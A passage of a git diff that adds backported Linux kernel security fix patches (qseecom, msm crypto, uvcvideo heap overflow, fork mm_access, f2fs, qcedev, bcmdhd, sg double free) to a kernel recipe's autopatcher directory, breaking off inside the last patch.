qseecom_command_scm_resp resp;*/ +- +- if (copy_from_user(&req, +- (void __user *)argp, +- sizeof(req))) { +- pr_err("copy_from_user failed\n"); +- return -EFAULT; +- } +- +- if ((req.resp_buf == NULL) || (req.cmd_req_buf == NULL)) { +- pr_err("cmd buffer or response buffer is null\n"); ++ if (!req || !req->resp_buf || !req->cmd_req_buf) { ++ pr_err("req or cmd buffer or response buffer is null\n"); + return -EINVAL; + } + +@@ -2777,6 +2721,86 @@ static int qseecom_send_service_cmd(struct qseecom_dev_handle *data, + return -EINVAL; + } + ++ if (((uintptr_t)req->cmd_req_buf < ++ data->client.user_virt_sb_base) || ++ ((uintptr_t)req->cmd_req_buf >= ++ (data->client.user_virt_sb_base + data->client.sb_length))) { ++ pr_err("cmd buffer address not within shared bufffer\n"); ++ return -EINVAL; ++ } ++ if (((uintptr_t)req->resp_buf < ++ data->client.user_virt_sb_base) || ++ ((uintptr_t)req->resp_buf >= ++ (data->client.user_virt_sb_base + data->client.sb_length))) { ++ pr_err("response buffer address not within shared bufffer\n"); ++ return -EINVAL; ++ } ++ if ((req->cmd_req_len == 0) || (req->resp_len == 0) || ++ (req->cmd_req_len > data->client.sb_length) || ++ (req->resp_len > data->client.sb_length)) { ++ pr_err("cmd buf length or response buf length not valid\n"); ++ return -EINVAL; ++ } ++ if (req->cmd_req_len > UINT_MAX - req->resp_len) { ++ pr_err("Integer overflow detected in req_len & rsp_len\n"); ++ return -EINVAL; ++ } ++ ++ if ((req->cmd_req_len + req->resp_len) > data->client.sb_length) { ++ pr_debug("Not enough memory to fit cmd_buf.\n"); ++ pr_debug("resp_buf. Required: %u, Available: %zu\n", ++ (req->cmd_req_len + req->resp_len), ++ data->client.sb_length); ++ return -ENOMEM; ++ } ++ if ((uintptr_t)req->cmd_req_buf > (ULONG_MAX - req->cmd_req_len)) { ++ pr_err("Integer overflow in req_len & cmd_req_buf\n"); ++ return -EINVAL; ++ } ++ if ((uintptr_t)req->resp_buf > (ULONG_MAX - req->resp_len)) { ++ pr_err("Integer overflow in resp_len & resp_buf\n"); ++ return -EINVAL; ++ } ++ if (data->client.user_virt_sb_base > ++ (ULONG_MAX - data->client.sb_length)) { ++ pr_err("Integer overflow in user_virt_sb_base & sb_length\n"); ++ return -EINVAL; ++ } ++ if ((((uintptr_t)req->cmd_req_buf + req->cmd_req_len) > ++ ((uintptr_t)data->client.user_virt_sb_base + ++ data->client.sb_length)) || ++ (((uintptr_t)req->resp_buf + req->resp_len) > ++ ((uintptr_t)data->client.user_virt_sb_base + ++ data->client.sb_length))) { ++ pr_err("cmd buf or resp buf is out of shared buffer region\n"); ++ return -EINVAL; ++ } ++ return 0; ++} ++ ++static int qseecom_send_service_cmd(struct qseecom_dev_handle *data, ++ void __user *argp) ++{ ++ int ret = 0; ++ struct qseecom_client_send_service_ireq send_svc_ireq; ++ struct qseecom_client_send_fsm_key_req send_fsm_key_svc_ireq; ++ struct qseecom_command_scm_resp resp; ++ struct qseecom_send_svc_cmd_req req; ++ void *send_req_ptr; ++ size_t req_buf_size; ++ ++ /*struct qseecom_command_scm_resp resp;*/ ++ ++ if (copy_from_user(&req, ++ (void __user *)argp, ++ sizeof(req))) { ++ pr_err("copy_from_user failed\n"); ++ return -EFAULT; ++ } ++ ++ if (__validate_send_service_cmd_inputs(data, &req)) ++ return -EINVAL; ++ + data->type = QSEECOM_SECURE_SERVICE; + + switch (req.cmd_id) { +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0191-64551bccab9b-msm crypto set CLRCNTXT bit for crypto operations.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0191-64551bccab9b-msm crypto set CLRCNTXT bit for crypto operations.patch new file mode 100644 index 0000000..1b33dd6 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0191-64551bccab9b-msm crypto set CLRCNTXT bit for crypto operations.patch @@ -0,0 +1,159 @@ +From 64551bccab9b5b933757f6256b58f9ca0544f004 Mon Sep 17 00:00:00 2001 +From: Zhen Kong +Date: Wed, 9 Nov 2016 16:25:24 -0800 +Subject: msm: crypto: set CLR_CNTXT bit for crypto operations + +HLOS Crypto driver needs to set CLR_CNTXT bit for operations with +legacy software key registers + +Change-Id: Iff482f726d106e99a4006f7077a171da3c7ca9c3 +Signed-off-by: Zhen Kong +--- + drivers/crypto/msm/qce50.c | 47 +++++++++++++++++++++++++--------------------- + 1 file changed, 26 insertions(+), 21 deletions(-) + +diff --git a/drivers/crypto/msm/qce50.c b/drivers/crypto/msm/qce50.c +index 3562de7..a8521fd 100644 +--- a/drivers/crypto/msm/qce50.c ++++ b/drivers/crypto/msm/qce50.c +@@ -1347,7 +1347,8 @@ go_proc: + CRYPTO_CONFIG_REG)); + /* issue go to crypto */ + if (use_hw_key == false) { +- QCE_WRITE_REG(((1 << CRYPTO_GO) | (1 << CRYPTO_RESULTS_DUMP)), ++ QCE_WRITE_REG(((1 << CRYPTO_GO) | (1 << CRYPTO_RESULTS_DUMP) | ++ (1 << CRYPTO_CLR_CNTXT)), + pce_dev->iobase + CRYPTO_GOPROC_REG); + } else { + QCE_WRITE_REG(((1 << CRYPTO_GO) | (1 << CRYPTO_RESULTS_DUMP)), +@@ -1528,7 +1529,8 @@ static int _ce_setup_aead_direct(struct qce_device *pce_dev, + + CRYPTO_CONFIG_REG)); + /* issue go to crypto */ +- QCE_WRITE_REG(((1 << CRYPTO_GO) | (1 << CRYPTO_RESULTS_DUMP)), ++ QCE_WRITE_REG(((1 << CRYPTO_GO) | (1 << CRYPTO_RESULTS_DUMP) | ++ (1 << CRYPTO_CLR_CNTXT)), + pce_dev->iobase + CRYPTO_GOPROC_REG); + /* + * Ensure previous instructions (setting the GO register) +@@ -1847,7 +1849,8 @@ static int _ce_setup_cipher_direct(struct qce_device *pce_dev, + CRYPTO_CONFIG_REG)); + /* issue go to crypto */ + if (use_hw_key == false) { +- QCE_WRITE_REG(((1 << CRYPTO_GO) | (1 << CRYPTO_RESULTS_DUMP)), ++ QCE_WRITE_REG(((1 << CRYPTO_GO) | (1 << CRYPTO_RESULTS_DUMP) | ++ (1 << CRYPTO_CLR_CNTXT)), + pce_dev->iobase + CRYPTO_GOPROC_REG); + } else { + QCE_WRITE_REG(((1 << CRYPTO_GO) | (1 << CRYPTO_RESULTS_DUMP)), +@@ -1935,7 +1938,8 @@ static int _ce_f9_setup_direct(struct qce_device *pce_dev, + QCE_WRITE_REG(pce_dev->reg.crypto_cfg_le, (pce_dev->iobase + + CRYPTO_CONFIG_REG)); + /* write go */ +- QCE_WRITE_REG(((1 << CRYPTO_GO) | (1 << CRYPTO_RESULTS_DUMP)), ++ QCE_WRITE_REG(((1 << CRYPTO_GO) | (1 << CRYPTO_RESULTS_DUMP) | ++ (1 << CRYPTO_CLR_CNTXT)), + pce_dev->iobase + CRYPTO_GOPROC_REG); + /* + * Ensure previous instructions (setting the GO register) +@@ -2012,7 +2016,8 @@ static int _ce_f8_setup_direct(struct qce_device *pce_dev, + QCE_WRITE_REG(pce_dev->reg.crypto_cfg_le, (pce_dev->iobase + + CRYPTO_CONFIG_REG)); + /* write go */ +- QCE_WRITE_REG(((1 << CRYPTO_GO) | (1 << CRYPTO_RESULTS_DUMP)), ++ QCE_WRITE_REG(((1 << CRYPTO_GO) | (1 << CRYPTO_RESULTS_DUMP) | ++ (1 << CRYPTO_CLR_CNTXT)), + pce_dev->iobase + CRYPTO_GOPROC_REG); + /* + * Ensure previous instructions (setting the GO register) +@@ -3323,8 +3328,8 @@ static int _setup_cipher_aes_cmdlistptrs(struct qce_device *pdev, int cri_index, + pdev->reg.crypto_cfg_le, NULL); + + qce_add_cmd_element(pdev, &ce_vaddr, CRYPTO_GOPROC_REG, +- ((1 << CRYPTO_GO) | (1 << CRYPTO_RESULTS_DUMP)), +- &pcl_info->go_proc); ++ ((1 << CRYPTO_GO) | (1 << CRYPTO_RESULTS_DUMP) | ++ (1 << CRYPTO_CLR_CNTXT)), &pcl_info->go_proc); + + pcl_info->size = (uintptr_t)ce_vaddr - (uintptr_t)ce_vaddr_start; + *pvaddr = (unsigned char *) ce_vaddr; +@@ -3437,8 +3442,8 @@ static int _setup_cipher_des_cmdlistptrs(struct qce_device *pdev, int cri_index, + pdev->reg.crypto_cfg_le, NULL); + + qce_add_cmd_element(pdev, &ce_vaddr, CRYPTO_GOPROC_REG, +- ((1 << CRYPTO_GO) | (1 << CRYPTO_RESULTS_DUMP)), +- &pcl_info->go_proc); ++ ((1 << CRYPTO_GO) | (1 << CRYPTO_RESULTS_DUMP) | ++ (1 << CRYPTO_CLR_CNTXT)), &pcl_info->go_proc); + + pcl_info->size = (uintptr_t)ce_vaddr - (uintptr_t)ce_vaddr_start; + *pvaddr = (unsigned char *) ce_vaddr; +@@ -3481,8 +3486,8 @@ static int _setup_cipher_null_cmdlistptrs(struct qce_device *pdev, + NULL); + + qce_add_cmd_element(pdev, &ce_vaddr, CRYPTO_GOPROC_REG, +- ((1 << CRYPTO_GO) | (1 << CRYPTO_RESULTS_DUMP)), +- &pcl_info->go_proc); ++ ((1 << CRYPTO_GO) | (1 << CRYPTO_RESULTS_DUMP) | ++ (1 << CRYPTO_CLR_CNTXT)), &pcl_info->go_proc); + + pcl_info->size = (uintptr_t)ce_vaddr - (uintptr_t)ce_vaddr_start; + *pvaddr = (unsigned char *) ce_vaddr; +@@ -3659,8 +3664,8 @@ static int _setup_auth_cmdlistptrs(struct qce_device *pdev, int cri_index, + pdev->reg.crypto_cfg_le, NULL); + + qce_add_cmd_element(pdev, &ce_vaddr, CRYPTO_GOPROC_REG, +- ((1 << CRYPTO_GO) | (1 << CRYPTO_RESULTS_DUMP)), +- &pcl_info->go_proc); ++ ((1 << CRYPTO_GO) | (1 << CRYPTO_RESULTS_DUMP) | ++ (1 << CRYPTO_CLR_CNTXT)), &pcl_info->go_proc); + + pcl_info->size = (uintptr_t)ce_vaddr - (uintptr_t)ce_vaddr_start; + *pvaddr = (unsigned char *) ce_vaddr; +@@ -3876,8 +3881,8 @@ static int _setup_aead_cmdlistptrs(struct qce_device *pdev, + pdev->reg.crypto_cfg_le, NULL); + + qce_add_cmd_element(pdev, &ce_vaddr, CRYPTO_GOPROC_REG, +- ((1 << CRYPTO_GO) | (1 << CRYPTO_RESULTS_DUMP)), +- &pcl_info->go_proc); ++ ((1 << CRYPTO_GO) | (1 << CRYPTO_RESULTS_DUMP) | ++ (1 << CRYPTO_CLR_CNTXT)), &pcl_info->go_proc); + + pcl_info->size = (uintptr_t)ce_vaddr - (uintptr_t)ce_vaddr_start; + *pvaddr = (unsigned char *) ce_vaddr; +@@ -4009,8 +4014,8 @@ static int _setup_aead_ccm_cmdlistptrs(struct qce_device *pdev, int cri_index, + pdev->reg.crypto_cfg_le, NULL); + + qce_add_cmd_element(pdev, &ce_vaddr, CRYPTO_GOPROC_REG, +- ((1 << CRYPTO_GO) | (1 << CRYPTO_RESULTS_DUMP)), +- &pcl_info->go_proc); ++ ((1 << CRYPTO_GO) | (1 << CRYPTO_RESULTS_DUMP) | ++ (1 << CRYPTO_CLR_CNTXT)), &pcl_info->go_proc); + + pcl_info->size = (uintptr_t)ce_vaddr - (uintptr_t)ce_vaddr_start; + *pvaddr = (unsigned char *) ce_vaddr; +@@ -4095,8 +4100,8 @@ static int _setup_f8_cmdlistptrs(struct qce_device *pdev, int cri_index, + pdev->reg.crypto_cfg_le, NULL); + + qce_add_cmd_element(pdev, &ce_vaddr, CRYPTO_GOPROC_REG, +- ((1 << CRYPTO_GO) | (1 << CRYPTO_RESULTS_DUMP)), +- &pcl_info->go_proc); ++ ((1 << CRYPTO_GO) | (1 << CRYPTO_RESULTS_DUMP) | ++ (1 << CRYPTO_CLR_CNTXT)), &pcl_info->go_proc); + + pcl_info->size = (uintptr_t)ce_vaddr - (uintptr_t)ce_vaddr_start; + *pvaddr = (unsigned char *) ce_vaddr; +@@ -4177,8 +4182,8 @@ static int _setup_f9_cmdlistptrs(struct qce_device *pdev, int cri_index, + pdev->reg.crypto_cfg_le, NULL); + + qce_add_cmd_element(pdev, &ce_vaddr, CRYPTO_GOPROC_REG, +- ((1 << CRYPTO_GO) | (1 << CRYPTO_RESULTS_DUMP)), +- &pcl_info->go_proc); ++ ((1 << CRYPTO_GO) | (1 << CRYPTO_RESULTS_DUMP) | ++ (1 << CRYPTO_CLR_CNTXT)), &pcl_info->go_proc); + + pcl_info->size = (uintptr_t)ce_vaddr - (uintptr_t)ce_vaddr_start; + *pvaddr = (unsigned char *) ce_vaddr; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0192-15ac0595018f-media uvcvideo Prevent heap overflow when accessing mapped controls.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0192-15ac0595018f-media uvcvideo Prevent heap overflow when accessing mapped controls.patch new file mode 100644 index 0000000..510bb02 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0192-15ac0595018f-media uvcvideo Prevent heap overflow when accessing mapped controls.patch @@ -0,0 +1,44 @@ +From 15ac0595018f5fdfbec2a23574b81a01c73ee5e1 Mon Sep 17 00:00:00 2001 +From: Guenter Roeck +Date: Tue, 8 Aug 2017 08:56:21 -0400 +Subject: media: uvcvideo: Prevent heap overflow when accessing mapped controls + +commit 7e09f7d5c790278ab98e5f2c22307ebe8ad6e8ba upstream. + +The size of uvc_control_mapping is user controlled leading to a +potential heap overflow in the uvc driver. This adds a check to verify +the user provided size fits within the bounds of the defined buffer +size. + +Originally-from: Richard Simmons + +Signed-off-by: Guenter Roeck +Reviewed-by: Laurent Pinchart +Signed-off-by: Hans Verkuil +Signed-off-by: Mauro Carvalho Chehab +Signed-off-by: Greg Kroah-Hartman +--- + drivers/media/usb/uvc/uvc_ctrl.c | 7 +++++++ + 1 file changed, 7 insertions(+) + +diff --git a/drivers/media/usb/uvc/uvc_ctrl.c b/drivers/media/usb/uvc/uvc_ctrl.c +index 3e59b288b8a89..618e4e2b42077 100644 +--- a/drivers/media/usb/uvc/uvc_ctrl.c ++++ b/drivers/media/usb/uvc/uvc_ctrl.c +@@ -2001,6 +2001,13 @@ int uvc_ctrl_add_mapping(struct uvc_video_chain *chain, + goto done; + } + ++ /* Validate the user-provided bit-size and offset */ ++ if (mapping->size > 32 || ++ mapping->offset + mapping->size > ctrl->info.size * 8) { ++ ret = -EINVAL; ++ goto done; ++ } ++ + list_for_each_entry(map, &ctrl->info.mappings, list) { + if (mapping->id == map->id) { + uvc_trace(UVC_TRACE_CONTROL, "Can't add mapping '%s', " +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0193-7e09f7d5c790-media uvcvideo Prevent heap overflow when accessing mapped controls.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0193-7e09f7d5c790-media uvcvideo Prevent heap overflow when accessing mapped controls.patch new file mode 100644 index 0000000..8fd3f85 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0193-7e09f7d5c790-media uvcvideo Prevent heap overflow when accessing mapped controls.patch @@ -0,0 +1,42 @@ +From 7e09f7d5c790278ab98e5f2c22307ebe8ad6e8ba Mon Sep 17 00:00:00 2001 +From: Guenter Roeck +Date: Tue, 8 Aug 2017 08:56:21 -0400 +Subject: media: uvcvideo: Prevent heap overflow when accessing mapped controls + +The size of uvc_control_mapping is user controlled leading to a +potential heap overflow in the uvc driver. This adds a check to verify +the user provided size fits within the bounds of the defined buffer +size. + +Originally-from: Richard Simmons + +Cc: stable@vger.kernel.org +Signed-off-by: Guenter Roeck +Reviewed-by: Laurent Pinchart +Signed-off-by: Hans Verkuil +Signed-off-by: Mauro Carvalho Chehab +--- + drivers/media/usb/uvc/uvc_ctrl.c | 7 +++++++ + 1 file changed, 7 insertions(+) + +diff --git a/drivers/media/usb/uvc/uvc_ctrl.c b/drivers/media/usb/uvc/uvc_ctrl.c +index c2ee6e39fd0ca..20397aba6849e 100644 +--- a/drivers/media/usb/uvc/uvc_ctrl.c ++++ b/drivers/media/usb/uvc/uvc_ctrl.c +@@ -2002,6 +2002,13 @@ int uvc_ctrl_add_mapping(struct uvc_video_chain *chain, + goto done; + } + ++ /* Validate the user-provided bit-size and offset */ ++ if (mapping->size > 32 || ++ mapping->offset + mapping->size > ctrl->info.size * 8) { ++ ret = -EINVAL; ++ goto done; ++ } ++ + list_for_each_entry(map, &ctrl->info.mappings, list) { + if (mapping->id == map->id) { + uvc_trace(UVC_TRACE_CONTROL, "Can't add mapping '%s', " +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0194-fcca203d8e6a-Prevent heap overflow in uvc driver.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0194-fcca203d8e6a-Prevent heap overflow in uvc driver.patch new file mode 100644 index 0000000..16dcf79 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0194-fcca203d8e6a-Prevent heap overflow in uvc driver.patch @@ -0,0 +1,37 @@ +From fcca203d8e6aa0ef22fa41d72a06dea393d6d148 Mon Sep 17 00:00:00 2001 +From: Robb Glasser +Date: Tue, 14 Feb 2017 13:25:46 -0800 +Subject: Prevent heap overflow in uvc driver + +The size of uvc_control_mapping is user controlled leading to a +potential heap overflow in the uvc driver. This adds a check to verify +the user provided size fits within the bounds of the defined buffer +size. + +Bug: 33300353 +Change-Id: If29c1b396633b6137966a12e38f6fd1841b045bd +Signed-off-by: Robb Glasser +Git-repo: https://android.googlesource.com/kernel/msm +Git-commit: 8bc3ec72a02052187397d0de1a7b8bbe7340451c +Signed-off-by: Dennis Cagle +--- + drivers/media/usb/uvc/uvc_ctrl.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/drivers/media/usb/uvc/uvc_ctrl.c b/drivers/media/usb/uvc/uvc_ctrl.c +index a2f4501..f61d1d7 100644 +--- a/drivers/media/usb/uvc/uvc_ctrl.c ++++ b/drivers/media/usb/uvc/uvc_ctrl.c +@@ -1939,6 +1939,9 @@ int uvc_ctrl_add_mapping(struct uvc_video_chain *chain, + if (!found) + return -ENOENT; + ++ if (ctrl->info.size < mapping->size) ++ return -EINVAL; ++ + if (mutex_lock_interruptible(&chain->ctrl_mutex)) + return -ERESTARTSYS; + +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0195.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0195.diff new file mode 100644 index 0000000..b1a9e52 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0195.diff @@ -0,0 +1,14 @@ +diff --git a/kernel/fork.c b/kernel/fork.c +index 2b11e38..b6eecda 100644 +--- a/kernel/fork.c ++++ b/kernel/fork.c +@@ -725,8 +725,7 @@ + + mm = get_task_mm(task); + if (mm && mm != current->mm && +- !ptrace_may_access(task, mode) && +- !capable(CAP_SYS_RESOURCE)) { ++ !ptrace_may_access(task, mode)) { + mmput(mm); + mm = ERR_PTR(-EACCES); + } diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0196-43ff88a83363-PATCH ASoC msm qdspv2 add result check when audio process fail.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0196-43ff88a83363-PATCH ASoC msm qdspv2 add result check when audio process fail.patch new file mode 100644 index 0000000..0bb69f9 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0196-43ff88a83363-PATCH ASoC msm qdspv2 add result check when audio process fail.patch @@ -0,0 +1,41 @@ +From 43ff88a8336310e665941dea6ffec77cc8314706 Mon Sep 17 00:00:00 2001 +From: kunleiz +Date: Fri, 14 Apr 2017 10:28:42 +0800 +Subject: [PATCH] ASoC: msm: qdspv2: add result check when audio process fail + +A audio_process_event_req is not always to success. Therefore, +check the return value for audio_process_event_req, and +initializ usr_evt before using it. + +CRs-Fixed: 2029798 +Bug: 35764875 +Change-Id: I4adf682575f5f9233a1a1a533f9c6361af8a5bcf +Signed-off-by: kunleiz +--- + drivers/misc/qcom/qdsp6v2/audio_utils_aio.c | 6 ++++++ + 1 file changed, 6 insertions(+) + +diff --git a/drivers/misc/qcom/qdsp6v2/audio_utils_aio.c b/drivers/misc/qcom/qdsp6v2/audio_utils_aio.c +index ea1cb510a97fa..59f40806ee2be 100644 +--- a/drivers/misc/qcom/qdsp6v2/audio_utils_aio.c ++++ b/drivers/misc/qcom/qdsp6v2/audio_utils_aio.c +@@ -842,6 +842,7 @@ static long audio_aio_process_event_req_compat(struct q6audio_aio *audio, + long rc; + struct msm_audio_event32 usr_evt_32; + struct msm_audio_event usr_evt; ++ memset(&usr_evt, 0, sizeof(struct msm_audio_event)); + + if (copy_from_user(&usr_evt_32, arg, + sizeof(struct msm_audio_event32))) { +@@ -851,6 +852,11 @@ static long audio_aio_process_event_req_compat(struct q6audio_aio *audio, + usr_evt.timeout_ms = usr_evt_32.timeout_ms; + + rc = audio_aio_process_event_req_common(audio, &usr_evt); ++ if (rc < 0) { ++ pr_err("%s: audio process event failed, rc = %ld", ++ __func__, rc); ++ return rc; ++ } + + usr_evt_32.event_type = usr_evt.event_type; + switch (usr_evt_32.event_type) { diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0197-3f0531e57753-PATCH BACKPORT f2fs sanity check logblocksperseg.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0197-3f0531e57753-PATCH BACKPORT f2fs sanity check logblocksperseg.patch new file mode 100644 index 0000000..68f42d9 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0197-3f0531e57753-PATCH BACKPORT f2fs sanity check logblocksperseg.patch @@ -0,0 +1,44 @@ +From 3f0531e5775303091a1ff975cdd572cc6a935321 Mon Sep 17 00:00:00 2001 +From: Jin Qian +Date: Mon, 24 Apr 2017 18:20:52 -0700 +Subject: [PATCH] BACKPORT: f2fs: sanity check log_blocks_per_seg + +f2fs currently only supports 4KB block size and 2MB segment size. +Sanity check log_blocks_per_seg == 9, i.e. 2MB/4KB = (1 << 9) + +Partially +(cherry-picked from commit 9a59b62fd88196844cee5fff851bee2cfd7afb6e) + +f2fs: do more integrity verification for superblock + +Do more sanity check for superblock during ->mount. + +Signed-off-by: Chao Yu +Signed-off-by: Jaegeuk Kim + +Bug: 36817013 +Change-Id: I0be52e54fba82083068337ceb9f7ad985a87319f +Signed-off-by: Jin Qian +--- + fs/f2fs/super.c | 8 ++++++++ + 1 file changed, 8 insertions(+) + +diff --git a/fs/f2fs/super.c b/fs/f2fs/super.c +index 3a65e01323528..98a77b0a365d9 100644 +--- a/fs/f2fs/super.c ++++ b/fs/f2fs/super.c +@@ -947,6 +947,14 @@ static int sanity_check_raw_super(struct super_block *sb, + return 1; + } + ++ /* check log blocks per segment */ ++ if (le32_to_cpu(raw_super->log_blocks_per_seg) != 9) { ++ f2fs_msg(sb, KERN_INFO, ++ "Invalid log blocks per segment (%u)\n", ++ le32_to_cpu(raw_super->log_blocks_per_seg)); ++ return 1; ++ } ++ + /* Currently, support 512/1024/2048/4096 bytes sector size */ + if (le32_to_cpu(raw_super->log_sectorsize) > + F2FS_MAX_LOG_SECTOR_SIZE || diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0198-ee4aa31b9f24-PATCH qcdev Check the digest length during the SHA operations.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0198-ee4aa31b9f24-PATCH qcdev Check the digest length during the SHA operations.patch new file mode 100644 index 0000000..1bc956f --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0198-ee4aa31b9f24-PATCH qcdev Check the digest length during the SHA operations.patch @@ -0,0 +1,47 @@ +From ee4aa31b9f24c28064e509e22c1f9013df768f5f Mon Sep 17 00:00:00 2001 +From: Dennis Cagle +Date: Wed, 31 May 2017 16:28:01 -0700 +Subject: [PATCH] qcdev: Check the digest length during the SHA operations + +Check the digest length to avoid buffer overflow while +doing the SHA operations. + +Bug: 36591162 +CRs-Fixed: 2045061 +Change-Id: I4d3fb20723f59e905a672edaf84ee5d0865905b1 +Signed-off-by: Brahmaji K +Signed-off-by: Dennis Cagle +--- + drivers/crypto/msm/qcedev.c | 12 ++++++++++++ + 1 file changed, 12 insertions(+) + +diff --git a/drivers/crypto/msm/qcedev.c b/drivers/crypto/msm/qcedev.c +index ef4b5e15b4fad..f42d19a5cf59e 100644 +--- a/drivers/crypto/msm/qcedev.c ++++ b/drivers/crypto/msm/qcedev.c +@@ -1709,6 +1709,12 @@ long qcedev_ioctl(struct file *file, unsigned cmd, unsigned long arg) + err = qcedev_hash_final(&qcedev_areq, handle); + if (err) + return err; ++ ++ if (handle->sha_ctxt.diglen > QCEDEV_MAX_SHA_DIGEST) { ++ pr_err("Invalid sha_ctxt.diglen %d\n", ++ handle->sha_ctxt.diglen); ++ return -EINVAL; ++ } + qcedev_areq.sha_op_req.diglen = handle->sha_ctxt.diglen; + memcpy(&qcedev_areq.sha_op_req.digest[0], + &handle->sha_ctxt.digest[0], +@@ -1737,6 +1743,12 @@ long qcedev_ioctl(struct file *file, unsigned cmd, unsigned long arg) + err = qcedev_hash_final(&qcedev_areq, handle); + if (err) + return err; ++ ++ if (handle->sha_ctxt.diglen > QCEDEV_MAX_SHA_DIGEST) { ++ pr_err("Invalid sha_ctxt.diglen %d\n", ++ handle->sha_ctxt.diglen); ++ return -EINVAL; ++ } + qcedev_areq.sha_op_req.diglen = handle->sha_ctxt.diglen; + memcpy(&qcedev_areq.sha_op_req.digest[0], + &handle->sha_ctxt.digest[0], diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0199-68acc6ab1474-net wireless bcmdhd adding boudary check in wlescanhandler.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0199-68acc6ab1474-net wireless bcmdhd adding boudary check in wlescanhandler.patch new file mode 100644 index 0000000..6051a67 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0199-68acc6ab1474-net wireless bcmdhd adding boudary check in wlescanhandler.patch @@ -0,0 +1,41 @@ +From 68acc6ab1474e9dde68880a7856e8a74ff86aa19 Mon Sep 17 00:00:00 2001 +From: Insun Song +Date: Mon, 5 Jun 2017 10:21:10 -0700 +Subject: net: wireless: bcmdhd: adding boudary check in wl_escan_handler + +WLC_E_ESCAN_RESULT event could be manipulated especially two length field +inside, one is for escan_result buffer length and another one is +bss_info length, the forged fields may bypass current length check and +corrupt kernel heap memory. + +so added checking validation for two length fields in WLC_E_ESCAN_RESULT +event. + +Signed-off-by: Insun Song +Bug: 37351060 +Change-Id: I31e9fccc48fc06278fb3a87a76ef7337296c2b0d +--- + drivers/net/wireless/bcmdhd/wl_cfg80211.c | 7 +++++++ + 1 file changed, 7 insertions(+) + +diff --git a/drivers/net/wireless/bcmdhd/wl_cfg80211.c b/drivers/net/wireless/bcmdhd/wl_cfg80211.c +index 021f69f7..d8c748d 100644 +--- a/drivers/net/wireless/bcmdhd/wl_cfg80211.c ++++ b/drivers/net/wireless/bcmdhd/wl_cfg80211.c +@@ -10513,6 +10513,13 @@ static s32 wl_escan_handler(struct bcm_cfg80211 *cfg, bcm_struct_cfgdev *cfgdev, + WL_ERR(("Invalid escan result (NULL pointer)\n")); + goto exit; + } ++ if ((dtoh32(escan_result->buflen) > ESCAN_BUF_SIZE) || ++ (dtoh32(escan_result->buflen) < ++ sizeof(wl_escan_result_t))) { ++ WL_ERR(("Invalid escan buffer len:%d\n", ++ dtoh32(escan_result->buflen))); ++ goto exit; ++ } + if (dtoh16(escan_result->bss_count) != 1) { + WL_ERR(("Invalid bss_count %d: ignoring\n", escan_result->bss_count)); + goto exit; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0200-547645480548-PATCH Prevent potential double frees in sg driver.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0200-547645480548-PATCH Prevent potential double frees in sg driver.patch new file mode 100644 index 0000000..2961d69 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0200-547645480548-PATCH Prevent potential double frees in sg driver.patch @@ -0,0 +1,74 @@ +From 547645480548a11e1399896e3fbe38a7e43663e4 Mon Sep 17 00:00:00 2001 +From: Robb Glasser +Date: Wed, 16 Aug 2017 12:38:02 +0530 +Subject: [PATCH] Prevent potential double frees in sg driver + +sg_ioctl could be spammed by requests, leading to a double free in +__free_pages. This protects the entry points of sg_ioctl where the +memory could be corrupted by a double call to __free_pages if multiple +requests are happening concurrently. + +Mot-CRs-fixed: (CR) +CVE-fixed: CVE-2017-0794 +Bug:35644812 + +Change-Id: Ie13f65beb6974430f90292e2742841b26aecb8b1 +Signed-off-by: Robb Glasser +Signed-off-by: Amarendra Reddy +Reviewed-on: https://gerrit.mot.com/1043178 +SLTApproved: Slta Waiver +SME-Granted: SME Approvals Granted +Tested-by: Jira Key +Reviewed-by: Igor Kovalenko +Submit-Approved: Jira Key +(cherry picked from commit cbebdeecae944ec4f4846c35013bda59ccdb380a) +--- + drivers/scsi/sg.c | 10 ++++++++-- + 1 file changed, 8 insertions(+), 2 deletions(-) + +diff --git a/drivers/scsi/sg.c b/drivers/scsi/sg.c +index 8a2a593c41e9d..b739d83a26dbd 100644 +--- a/drivers/scsi/sg.c ++++ b/drivers/scsi/sg.c +@@ -875,8 +875,10 @@ sg_ioctl(struct file *filp, unsigned int cmd_in, unsigned long arg) + return -ENXIO; + if (!access_ok(VERIFY_WRITE, p, SZ_SG_IO_HDR)) + return -EFAULT; ++ mutex_lock(&sfp->parentdp->open_rel_lock); + result = sg_new_write(sfp, filp, p, SZ_SG_IO_HDR, + 1, read_only, 1, &srp); ++ mutex_unlock(&sfp->parentdp->open_rel_lock); + if (result < 0) + return result; + result = wait_event_interruptible(sfp->read_wait, +@@ -916,8 +918,10 @@ 